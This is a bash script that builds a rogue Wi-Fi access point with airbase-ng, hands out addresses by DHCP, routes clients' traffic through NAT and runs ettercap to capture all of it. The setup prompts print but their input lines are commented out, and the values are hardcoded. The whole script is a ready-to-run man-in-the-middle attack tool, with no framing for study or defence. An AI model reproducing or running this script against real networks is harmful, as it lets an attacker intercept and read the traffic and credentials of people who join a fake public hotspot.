#!/bin/bash
echo -n "Enter the name of the interface connected to the internet, for example eth0: "
#read -e IFACE
echo -n "Enter your wireless interface name, for example wlan0: "
#read -e WIFACE
echo -n "Enter the ESSID you would like your rogue AP to be called, for example Free WiFi: "
#read -e ESSID
echo -n "Enter your wireless interface MAC(XX:XX:XX:XX:XX:XX) [Optional,]: "
#read -e MAC
echo -n "Enter the channel you would like your rogue AP to be called [Optional]: "
#read -e CHAN
killall -9 dhcpcd dhcpd3 airbase-ng ettercap
airmon-ng stop mon0
WIFACE=wlan1
IFACE=wlan0
ESSID=PublicWiFiProject
MAC=00:11:22:33:44:55
airmon-ng stop $WIFACE
ifconfig $WIFACE down
airmon-ng start $WIFACE
modprobe tun &
cmd="xterm -e airbase-ng -e ""$ESSID"" -P -v "
if [ -n "$CHAN" ]; then
cmd=$cmd"-c "$CHAN" "
fi
if [ -n "$MAC" ]; then
cmd=$cmd"-a "$MAC" "
fi
cmd=$cmd"$WIFACE"
$cmd &
echo "Witing 8 seconds for the SoftAP to be established"
sleep 8
echo "SoftAP should be working now"
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o $IFACE -j MASQUERADE
iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
rm /var/run/dhcpd.pid
touch /var/run/dhcpd.pid
chgrp dhcpd /var/run/dhcpd.pid
chown dhcpd /var/run/dhcpd.pid
xterm -e dhcpd3 -d -f -cf /root/dhcpd.conf at0 &
xterm -e ettercap -T -p -q -i at0 // // &
echo "Witing 8 seconds for portforwarding and DHCP server"
sleep 8
echo "1" > /proc/sys/net/ipv4/ip_forward
echo "Portforwarding and DHCP should be working now"